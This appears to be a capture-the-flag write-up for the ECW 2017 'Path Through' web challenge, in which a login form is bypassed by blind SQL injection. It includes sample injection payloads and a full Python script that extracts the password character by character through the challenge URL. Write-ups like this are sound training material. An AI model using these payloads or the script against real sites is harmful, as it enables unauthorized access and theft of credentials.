The ECW 2017 is a French Jeopardy challenge organized by the “Pôle d’Excellence Cyber” in partnership with the “Région Bretagne”, Airbus and Thalès. Path Through is a web challenge based on blind SQL Injection.
From 06/10 to 22/10 2017, the online challenge is used as a pre-selection for the final Capture The Flag challenge which will start the November 29th 2017 during the European Cyber Week conference in Rennes (France).
Discovery
The challenge starts with an authentication form. We are asked to identify with the admin account. The username isn’t specified mais we are given the following hint “It’s a simple username”… Except the guessing part, we think about “admin” first.
Tests & hypothesis
As long as we only have this form, all the challenge goal remains in the ability to bypass the authentication form in order to access the administration zone.
We try different kind of injections and we make several connexion attempts. We can notice an error message when the credentials couple is invalid.
So, we have a boolean result. Either it’s valid or not. From there, we think about a blind SQL Injection.
The blind SQL Injection is based on the substring() function utilization and the capacity to find the password characters one by one. Let’s suppose that the database column is called “password”, we will test each possible character for it. We want the request to return a true value. To achieve that, we will use the displayed message.
We know that the 4 first flag characters (and so, probably for the password too) are “ECW{” we can imagine that kind of injection :
username=admin&password=' or substring(password,1,1)='E
Ok, that’s now sure, we have a blind SQL Injection. Let’s exploit it !
Exploitation and bypass
In order to succeed in this exploitation, we have 2 solutions. Manual exploitation by trying to guess each character like this :
username=admin&password=' or substring(password,1,2)='C
username=admin&password=' or substring(password,1,3)='W
username=admin&password=' or substring(password,1,4)='E{
Or automate it with a script. This second solution is chosen to accelerate the process. Indeed, a manual exploitation would be tedious. However, we know that the flag is a MD5 hash, so, it’s only composed of “abcdef0123456789”.
Then, we can write a small Python script. Don’t forget to add the security token and a valid cookie so requests can be valid too.
#!/usr/bin/python
#coding: utf-8
import requests
import string
import sys
requests.packages.urllib3.disable_warnings()
## Request needed informations
BASE_URL = "https://challenge-ecw.fr/chals/web100"
PARAMS = {
'username': 'admin',
'password': '',
'nonce' : '58109a1ef582bab83c89b9435d455e527b44736e43d64750604f7c2a3012f404ba282e19278431cad17852fa9475b2a01a8ddf9551d6b6cfaa5fa6311ceddb5a',
}
## Static variables
KEYWORD = "Le mot de passe est le flag."
MAX_PWD_LENGTH = 255
URL = "https://challenge-ecw.fr/chals/web100"
VULNERABLE_PARAM = "password="
INJECTION_USED = "username=admin&password=' or substring(password,1,1)='E"
## Password variables
passwordLength = 37
password = "ECW{"
if __name__ == "__main__":
print("\n#####################################")
print("## Blind SQL Injection ECW 2017 ##")
print("#####################################\n")
print("[+] URL injected : %s" % URL)
print("[+] Vulnerable parameter : %s" % VULNERABLE_PARAM)
print("[+] Injection used : %s" % INJECTION_USED)
print("\n[+] Starting bruteforce\n")
#req = requests.get(url=BASE_URL, verify=False)
#token = req.GET['nonce']
#PARAMS['nonce'] = token
s = requests.Session()
COOKIE = dict(session=".eJwNj8tqwzAQRX-lzNoLx003hi4KstMGZoyLYiHt1NixpUgqJBQ_Qv69szucy1ncBwSbRijhcoMM0m86D1A-4OWHFclxQREmVF1kXnWsXSPINyK4RrYbqTYn2QWSX6_aM29YGPZGaObTTP4jN773GKsNRbUa3850OE7ox9XI6g39eU8CF13UV5TM8hi1vHLbOW5mVNXeHL5jI087VG2hvfEm1hMpM5HHBRUF3h2p6h2eGfzdh1uykQ_Ap7UL_7F9dAnKiw33IQPXQ7kr8uc_UPNP7A.DMdGMg.UMD8szIENKxcuos1Rmk0Zqzd_8s")
for i in range(5, passwordLength):
charset = "abcdef0123456789"
for j in charset:
sys.stdout.write("\r")
sys.stdout.write("[+] Password : %s%c" % (password,j))
sys.stdout.flush()
PARAMS['password'] = "' or substring(password,1,"+ str(i) +")='" + password + j
req = s.post(url=BASE_URL, data=PARAMS, cookies=COOKIE, verify=False)
if KEYWORD in req.text:
password += j
break;
password = password + "}"
print("\n[+] Done\n")
print("[+] Password is %s\n" % password)
Getting the flag
We execute the previous script and…
Great ! We have the flag !
So, challenge presenting a basic blind SQL Injection but nevertheless interesting to learn or refresh knowledge !